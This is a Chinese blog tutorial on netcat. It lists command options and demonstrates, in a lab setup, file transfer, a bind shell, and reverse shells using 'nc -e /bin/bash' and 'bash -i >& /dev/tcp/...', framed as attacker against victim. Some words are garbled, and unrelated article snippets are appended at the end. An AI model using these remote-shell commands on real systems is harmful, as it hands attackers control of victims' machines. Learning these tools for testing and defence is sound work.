NCcat學習使用

2022-08-19 12:48:19 字數 2573 閱讀 5971

一、使用手冊

1.簡介:nc/netcat是一款埠監聽工具,可以用來建立系統之間的連線、傳輸檔案、tcp**等。

2.命令引數

監聽埠等待連線:nc -l -p port [-options] [hostname] [port]

主要引數[options]:

-d              無命令列介面,使用後台模式

-e prog          程式重定向 [危險!!]

-g gateway       源路由跳躍點, 不超過8

-g num          源路由指示器: 4, 8, 12, ...

-h              獲取幫助資訊

-i secs           延時設定,埠掃瞄時使用

-l               監聽入站資訊

-l              監聽知道netcat被結束(可斷開重連)

-n              以數字形式表示的ip位址

-o file           使進製記錄

-p port          開啟本地埠

-r               隨機本地和遠端的埠

-s addr          本地源位址

-t               以telnet的形式應答入站請求

-u              udp 模式

-v               顯示詳細資訊 [使用=vv獲取更詳細的資訊]

-w secs          連線超時設定

-z               i/o 模式 [掃瞄時使用]

埠號可以是單個的或者存在乙個範圍: m-n [包含值]。

3.簡單使用:

測試環境:

作業系統:centos 7.7

nc版本:7.50

系統a:192.168.226.128

系統b:192.168.226.129

(1)檔案傳輸

系統a命令:nc -l -p 8978 > ./tmp.txt

系統b命令:nc -v 192.168.226.128 8978 < ./test.txt

a系統

b系統(2)正向遠端連線

主要使用nc危險引數-e將受害者系統a的/bin/bash重定向到本地某埠8978,然後攻擊者系統b連線遠端埠8978

系統a命令:nc -t -e /bin/bash -l -p 8978

系統b命令:nc -v 192.168.226.128 8978

a系統

b系統(3)反向連線

攻擊者系統b監聽本地埠8978,然後在受害者系統中使用nc危險引數-e將受害者系統a的/bin/bash重定向連線到遠端埠8978。

系統b命令:nc -lvp 8978

系統a命令: nc -t -e /bin/bash 192.168.226.129 8978

a系統

b系統補充:

使用bash -i >& /dev/tcp/192.168.226.129/8978 0>&1也可以進行**shell連線

系統a命令:bash -i >& /dev/tcp/192.168.226.129/8978 0>&1

系統b命令:nc -lvp 8978

b系統

a系統--broker引數可用於資料****使用(參考

參考鏈結

MySQL使用學習使用 mysql學習使用

1 mysql學習 1 安裝 ubuntu下直接安裝 apt get install mysql server 2 檢查伺服器是否啟動 sudo netstat tap grep mysql,如果啟動成功,出現以下資訊 tcp00localhost.localdomain mysql listen ...

學習使用CSDN markdown使用

建立乙個自定義列表 如何建立乙個註腳 注釋也是必不可少的 katex數學公式 新的甘特圖功能,豐富你的文章 uml 圖表 flowchart流程圖 匯出與匯入 你好!這是你第一次使用markdown編輯器所展示的歡迎頁。如果你想學習如何使用markdown編輯器,可以仔細閱讀這篇文章,了解一下mar...

學習使用PIVOT

假設有這樣的乙個需求 有乙個表中儲存了某個部門的各個員工的每一年的各類薪金,記錄儲存格式如 員工姓名 薪金數目 薪金種類 年份 現在要求根據員工的姓名進行查詢,查詢出某些員工各個年份的薪金總數,出來的結果要求 columnname 年份 員工1姓名 員工2姓名 columnvalue 年份 薪金總數...